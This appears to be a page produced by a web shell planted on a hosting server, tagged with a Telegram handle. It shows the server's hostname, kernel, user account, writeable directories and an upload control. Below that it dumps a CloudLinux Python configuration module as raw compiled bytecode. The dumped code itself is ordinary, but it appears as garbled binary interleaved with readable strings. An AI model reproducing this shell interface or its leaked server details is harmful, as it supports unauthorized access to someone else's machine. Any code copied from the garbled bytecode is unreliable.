https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /opt/alt/python37/lib/python3.7/site-packages/clconfig/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python37/lib/python3.7/site-packages/clconfig/__pycache__/config.cpython-37.pyc
B

�c[^�@s\ddlmZddlmZddlZddlZddlZddlZddlmZm	Z	ddl
mZddlm
Z
ddlmZmZdd	lmZmZdd
lmZddlmZmZddlmZdd
lmZmZmZmZm Z m!Z!m"Z"m#Z#ddl$m%Z%ddl&m'Z'ddl(m)Z)ddl*m+Z+ddl,m-Z-ddl&m.Z.Gdd�de%�Z/Gdd�de�Z0Gdd�de0�Z1Gdd�de0�Z2dS)�)�print_function)�absolute_importN)�ABC�abstractmethod)�
ClQuotaLib)�cpapi�)�
ui_config_lib�db_governor_lib)�is_active_reseller_limits�lve)�CloudlinuxLicenseLib)�print_dictionary�replace_params)�parse_cloudlinux_config_opts)�boolean_to_0_1�boolean_to_on_off�boolean_to_yes_no�is_int�	is_string�is_string_or_none�time_unit_to_letter�is_positive_int)�FormattedException)�is_admin)�	MysqlInfo)�is_litespeed_running)�Feature)�is_panel_feature_supportedc@seZdZdS)�ValidateDataExceptionN)�__name__�
__module__�__qualname__�r#r#�@/opt/alt/python37/lib/python3.7/site-packages/clconfig/config.pyr$src@s>eZdZdd�Zedd��Zddd�Zdd
d�Zdd
d�ZdS)�
ClConfingBasecCsd|_i|_dS)NF)�_is_json�_opts)�selfr#r#r$�__init__*szClConfingBase.__init__cCsdS)zM
        Return list of pairs (input_dict_keys, validator_function).
        Nr#)r(r#r#r$�_get_data_list.szClConfingBase._get_data_listF�successcCs2t|t�r|�|t��d��t||jp*|�dS)z�
        Output data wrapper
        :param: `dict` data - data for output to stdout
        :param: `bool` force_json - always output json format
        )�result�	timestampN)�
isinstance�dict�update�timerr&)r(�dataZ
force_jsonr,r#r#r$�_print_data5s
zClConfingBase._print_datarc
Cs�|jr$|�dt��i�t|d�nXy tt|d�|�di��Wn6tk
rz}ztdt|�|f�Wdd}~XYnXt�	|�dS)z�
        Print error and exit
        :param message: Dictionary with keys "result" as string and optional "context" as dict
        r-Tr,�contextzError: %s [%s]N)
r&r0r1r�print�str�get�KeyError�sys�exit)r(�messageZ
error_code�er#r#r$�_error_and_exit?s &zClConfingBase._error_and_exitNc		Cs�|��}xz|D]r}yX|\}}|�dd��dd��dd��d�}td|�}||�dkrhtdd	|id
���Wqtk
r~YqXqWdS)z4
        Validate config single parameters.
        �[��'�]�/zdata_dict%sNz*Value error in JSON key(s) options/%(key)s�key)r;r4)r*�replace�rstrip�evalrr8)	r(�	data_dict�resellerZcontrol_data_listZcontrol_data_itemZinput_dict_keysZvalidator_functionZkey_name_for_exceptionZinput_valuer#r#r$�_validate_parameters_singleNs
z)ClConfingBase._validate_parameters_single)Fr+)r)N)	r r!r"r)rr*r3r=rIr#r#r#r$r%(s



r%c@s@eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dS)�ClConfigSolozC
    Perform cloudlinux-config utility for CloudLinux OS Solo.
    cCsft�}|��s"d|_|�ddi�Sd|k|_|�|�}t|�|_|j�d�dkrZ|��n|�	�dS)NTr,zCloudlinux license isn't validz--json�command�set)
r
�get_license_statusr&r=�_parse_args�varsr'r7�_set_run�_get_run)r(�args�licence�optsr#r#r$�runls



zClConfigSolo.runc
CsJi}yt�|jd�d}Wn&ttfk
rB|�ddi�YnXy|�|�Wn8tk
r�}z|�ddt|�i�Wdd}~XYnXdt	�	�id�}t
�}d	|kr�|d	|d	<yt�|�WnLtj
k
�r}z*|d|jd
7<|d�|j�Wdd}~XYnX|d�s$d|d<t|d�d
k�r<|d=t|d�dS)zA
        Set parameters from self._opts
        :return:
        r2�optionsr,z/ERROR: Invalid JSON string passed in --data keyz	Error: %sNr?)r,r-r4�
uiSettingsz; r4r+rT)�json�loadsr'�
ValueErrorr8r=�_validate_input_dictionaryrr6r1r/r	�
set_ui_config�UIConfigExceptionr;r0r4�lenr)r(rGr<r,�
ui_parametersr#r#r$rPzs.("
zClConfigSolo._set_runcCsvdt��d�}i}|�t���||d<dd�t����D�|d<|d}t�rftj	|krf|�
tj	�t||j�dS)z#
        Run 'get' command
        r+)r,r-rVcSsg|]\}}|r|�qSr#r#)�.0�	component�is_supportedr#r#r$�
<listcomp>�sz)ClConfigSolo._get_run.<locals>.<listcomp>�supported_cl_featuresN)
r1r0r	�
get_ui_configr�get_supported_cl_features�itemsrr�LSAPI�removerr&)r(r,�full_config�supported_cl_features_listr#r#r$rQ�szClConfigSolo._get_runcCsZtjddd�}|jddd�}|jddd	�|jd
dd	�}|jdd
dd�|�|�\}}|S)z%
        Parse CLI arguments
        zcloudlinux-configz'Utility to get/set Cloudlinux UI config)�prog�descriptionZcommandsrK)�title�destr7z
get UI config)�helprLz
set UI configz--dataTzdata to set)Zrequiredrp)�argparse�ArgumentParserZadd_subparsersZ
add_parser�add_argumentZparse_known_args)r(�argv�parserZ
subparsersZ
set_subparserrT�_r#r#r$rN�s
zClConfigSolo._parse_argscCs|�|�dS)z�
        Check data validity in data_dict.
        For CL OS Solo we check only single parameters.
        :param data_dict: Dictionary with input data
        :return: None, throws ValidateDataException if any error detected
        N)rI)r(rGr#r#r$r[�sz'ClConfigSolo._validate_input_dictionarycCs.dtfdtfdtfdtfdtfdtfdtfgS)Nz['uiSettings']['hideRubyApp']z['uiSettings']['hidePythonApp']z['uiSettings']['hideNodeJsApp']z#['uiSettings']['hidePHPextensions']z!['uiSettings']['hideLVEUserStat']z['uiSettings']['hideXrayApp']z['uiSettings']['hideWPOSApp'])r)r(r#r#r$r*�szClConfigSolo._get_data_listN)
r r!r"�__doc__rUrPrQrNr[r*r#r#r#r$rJgs$	rJc@sJeZdZdZdd�Zdd�Zdd�Zdd	�Zddd�Zd
d�Z	dd�Z
d
S)�ClConfigzT
    Perform cloudlinux-config utility for CloudLinux OS Shared and Shared Pro.
    cCsxt�}|��s"d|_|�ddi�Sd|k|_|�|�|_|jdrXt��sX|�ddi�|jdrl|��n|�	�dS)NTr,zCloudlinux license isn't validz--jsonz--for-resellerzLERROR: reseller limits are not supported, can not use --for-reseller option.r7)
r
rMr&r=rNr'rZreseller_limit_supportedrQrP)r(rRrSr#r#r$rU�s



zClConfig.runc

CsD|j�dd�}|dk	r:t|�s:t|�s:|�dd|id��|jdr�|dk	rZ|�ddi�t�}|��snd	}nd
}|��t|t	�	�d�d�dS|jd
s�|�ddi�i}yt
�|jd
�d}Wn|�ddi�YnXy|j||d�Wn:t
k
�r.}z|�ddt|�i�Wdd}~XYnXdt	�	�id�}d\}}}}	|dk	�r�ddlm}
|||	h}t|�t|���dk�r�|�dd�|�i�nddlm}
t�}||k�r�||||<||k�r�||||<yt�|�WnLtjk
�r2}z*|d|jd7<|d�|j�Wdd}~XYnX||k�r�y|
j|||d�WnL|
jk
�r�}z*|d|jd7<|d�|j�Wdd}~XYnX|	|k�ryt� ||	�WnLtj!k
�r
}z*|d|jd7<|d�|j�Wdd}~XYnX|d�sd
|d<t|d�dk�r6|d=t|d�dS)zA
        Set parameters from self._opts
        :return:
        z--for-resellerNz5ERROR: reseller limits for %(reseller)s are disabled.rH)r,r4z--reset-inodes-limitr,z2ERROR: cannot reset inode limits for reseller userzERROR: quota isn't activatedr+)r,r-Tz--dataz)ERROR: You must provide parameters to setrVz/ERROR: Invalid JSON string passed in --data key)rHz	Error: %sr?)r,r-r4)ZinodeLimitsrWZfaultsNotificationZmySQLGovSettingsr)�lve_stats2_reseller_librz)Error: can only configure {} for reseller)�lve_stats2_libz; r4)"r'r7rrr=rZis_clquota_activatedZreset_inodes_limitsrr1rXrYr[rr6r?ryr^�intersectionrL�formatrzr/r	r\r]r;r0r4Zset_notificationZLveStats2Exceptionr
Zset_db_gov_config�DBGovernorException)
r(rHZcl_quotar,rGr<Zinode_limitsZui_settingsZfaults_notificationZ	mysql_gov�lve_stats2_notifZadmin_only_settingsr_r#r#r$rP�s�


(



"

"
"
zClConfig._set_runc
Cs\dt��d�}i}d}|jdr8|jd}ddlm}nddlm}|dkr�ttj�rd|�|�	��|�t
���y|�t�
��WnFtjk
r�}z&d|d	<t�|d
<t|�|d
d	<Wdd}~XYnX|�dt���i�n ttj��r|�|j	|dd
��||d<dd�t����D�|d<|d}t��rLtj|k�rL|�tj�t||j�dS)z#
        Run 'get' command
        r+)r,r-Nz--for-resellerr)ry)rz�errorZmySqlGov�errorsZdbInfoT)rH�defaultsrVcSsg|]\}}|r|�qSr#r#)r`rarbr#r#r$rcusz%ClConfig._get_run.<locals>.<listcomp>rd)r1r'r?ryrzrrZLVEr0Zget_notificationr	rer
Zget_db_gov_configr}r/r6rr7rrfrgrrhrirr&)r(r,rjrHr~r<rkr#r#r$rQSs6



"zClConfig._get_runcCs&t||j�\}}|s"|�t|��|S)z%
        Parse CLI arguments
        )rr&r=r)r(rtZstatusr2r#r#r$rN~szClConfig._parse_argsNcCs|�||�|�|�dS)z�
        Checks data validity in data_dict
        :param data_dict: Dictionary with input data
        :param str reseller: Reseller name to validate to config reseller
        :return: None, throws ValidateDataException if any error detected
        N)rI�_validate_parameters_pairs)r(rGrHr#r#r$r[�sz#ClConfig._validate_input_dictionarycFCs�dtfdtfdtfdtfdtfdtfdtfdtfd	tfd
tfdtfdtfd
tfdtfdtfdtfdtfdtfdtfdtfdtfdtfdtfdtfdtfdtfdtfdtfd	tfd
tfdtfdtfd
tfdtfdtfdtfdtfd tfd!tfd"tfd#tfd$tfdtfdtfd%tfd&tfd'tfd(tfd)tfd*tfd+tfd,tfd-tfd.tfd/tfd0tfd1tfd2tfd3tfd4tfd5tfd6tfd7tfd8tfd9tfd:tfd;tfd<tfd=tfgES)>Nz&['inodeLimits']['showUserInodesUsage']z['uiSettings']['hideRubyApp']z['uiSettings']['hidePythonApp']z['uiSettings']['hideNodeJsApp']z#['uiSettings']['hidePHPextensions']z!['uiSettings']['hideLVEUserStat']z['uiSettings']['hideXrayApp']z['uiSettings']['hideWPOSApp']z0['faultsNotification']['faultsToInclude']['cpu']z2['faultsNotification']['faultsToInclude']['nproc']z/['faultsNotification']['faultsToInclude']['io']z0['faultsNotification']['faultsToInclude']['mem']zB['faultsNotification']['faultsToInclude']['concurrentConnections']z1['faultsNotification']['faultsToInclude']['iops']z3['faultsNotification']['notify']['admin']['period']z7['faultsNotification']['notify']['admin']['unitOfTime']z2['faultsNotification']['notify']['user']['period']z6['faultsNotification']['notify']['user']['unitOfTime']z%['faultsNotification']['notifyAdmin']z@['faultsNotification']['minimumNumberOfFaultsToNotify']['admin']z?['faultsNotification']['minimumNumberOfFaultsToNotify']['user']z)['faultsNotification']['notifyCustomers']z)['faultsNotification']['notifyResellers']z1['faultsNotification']['notifyResellerCustomers']z2['faultsNotification']['email']['notifyFromEmail']z0['faultsNotification']['email']['notifySubject']z2['faultsNotification']['email']['reportAdminMail']z0['faultsNotification']['email']['notifyCharset']z6['faultsNotification']['notify']['reseller']['period']z:['faultsNotification']['notify']['reseller']['unitOfTime']z6['faultsNotification']['notify']['customer']['period']z:['faultsNotification']['notify']['customer']['unitOfTime']z3['faultsNotification']['notifyResellerOnCustomers']zC['faultsNotification']['minimumNumberOfFaultsToNotify']['reseller']zC['faultsNotification']['minimumNumberOfFaultsToNotify']['customer']z(['faultsNotification']['notifyReseller']z'['mySQLGovSettings']['modeOfOperation']z"['mySQLGovSettings']['scriptPath']z*['mySQLGovSettings']['userMaxConnections']z1['mySQLGovSettings']['logRestrictedUsersQueries']z2['mySQLGovSettings']['gatherDataForDetailedStats']z.['mySQLGovSettings']['restrictLog']['logPath']z-['mySQLGovSettings']['restrictLog']['format']z+['mySQLGovSettings']['errorLog']['logPath']z)['mySQLGovSettings']['errorLog']['level']z.['mySQLGovSettings']['slowQueries']['logPath']z+['mySQLGovSettings']['slowQueries']['kill']z.['mySQLGovSettings']['slowQueries']['timeout']z,['mySQLGovSettings']['restrictType']['mode']z-['mySQLGovSettings']['unlimit']['unitOfTime']z)['mySQLGovSettings']['unlimit']['period']zE['mySQLGovSettings']['restrictedTimePeriods']['level1']['unitOfTime']zA['mySQLGovSettings']['restrictedTimePeriods']['level1']['period']zE['mySQLGovSettings']['restrictedTimePeriods']['level2']['unitOfTime']zA['mySQLGovSettings']['restrictedTimePeriods']['level2']['period']zE['mySQLGovSettings']['restrictedTimePeriods']['level3']['unitOfTime']zA['mySQLGovSettings']['restrictedTimePeriods']['level3']['period']zE['mySQLGovSettings']['restrictedTimePeriods']['level4']['unitOfTime']zA['mySQLGovSettings']['restrictedTimePeriods']['level4']['period']zF['mySQLGovSettings']['restrictedTimePeriods']['timeout']['unitOfTime']zB['mySQLGovSettings']['restrictedTimePeriods']['timeout']['period'])rrrrrrrr)r(r#r#r$r*�s�zClConfig._get_data_listc	Cs�ddddddddg}x�|D]�}|\}}d	\}}ytd
|�}Wntk
rRYnXytd
|�}Wntk
rxYnX|dkr�|dk	s�|dk	r|dkrtdd
i��qWdS)zK
        Validate config pairs parameters (period and unitOfTime).
        )z3['faultsNotification']['notify']['admin']['period']z7['faultsNotification']['notify']['admin']['unitOfTime'])z2['faultsNotification']['notify']['user']['period']z6['faultsNotification']['notify']['user']['unitOfTime'])z=['mySQLGovSettings']['restrictType']['unlimit']['unitOfTime']z9['mySQLGovSettings']['restrictType']['unlimit']['period'])zE['mySQLGovSettings']['restrictedTimePeriods']['level1']['unitOfTime']zA['mySQLGovSettings']['restrictedTimePeriods']['level1']['period'])zE['mySQLGovSettings']['restrictedTimePeriods']['level2']['unitOfTime']zA['mySQLGovSettings']['restrictedTimePeriods']['level2']['period'])zE['mySQLGovSettings']['restrictedTimePeriods']['level3']['unitOfTime']zA['mySQLGovSettings']['restrictedTimePeriods']['level3']['period'])zE['mySQLGovSettings']['restrictedTimePeriods']['level4']['unitOfTime']zA['mySQLGovSettings']['restrictedTimePeriods']['level4']['period'])zF['mySQLGovSettings']['restrictedTimePeriods']['timeout']['unitOfTime']zB['mySQLGovSettings']['restrictedTimePeriods']['timeout']['period'])NNzdata_dict%sNr;z4Keys 'period' and 'unitOfTime' should be passed both)rFr8r)r(rGZpairs_data_listZpairs_data_itemZkeys1Zkeys2Zval1Zval2r#r#r$r��s,
z#ClConfig._validate_parameters_pairs)N)r r!r"rwrUrPrQrNr[r*r�r#r#r#r$rx�sb+


Trx)3Z
__future__rrrqr1r9rX�abcrrZcllimits.clquota_librZclcommonrr?r	r
Z	lvectllibrrZ	cllicenser
Z	cli_utilsrrZcl_config_arg_parserZclconfig_utilsrrrrrrrrZclcommon.clexceptionrZclcommon.cpapirZdb_info_librZclcommon.utilsrZclcommon.constrrrr%rJrxr#r#r#r$�<module>
s0(?r

https://t.me/AnonymousX5 - 2025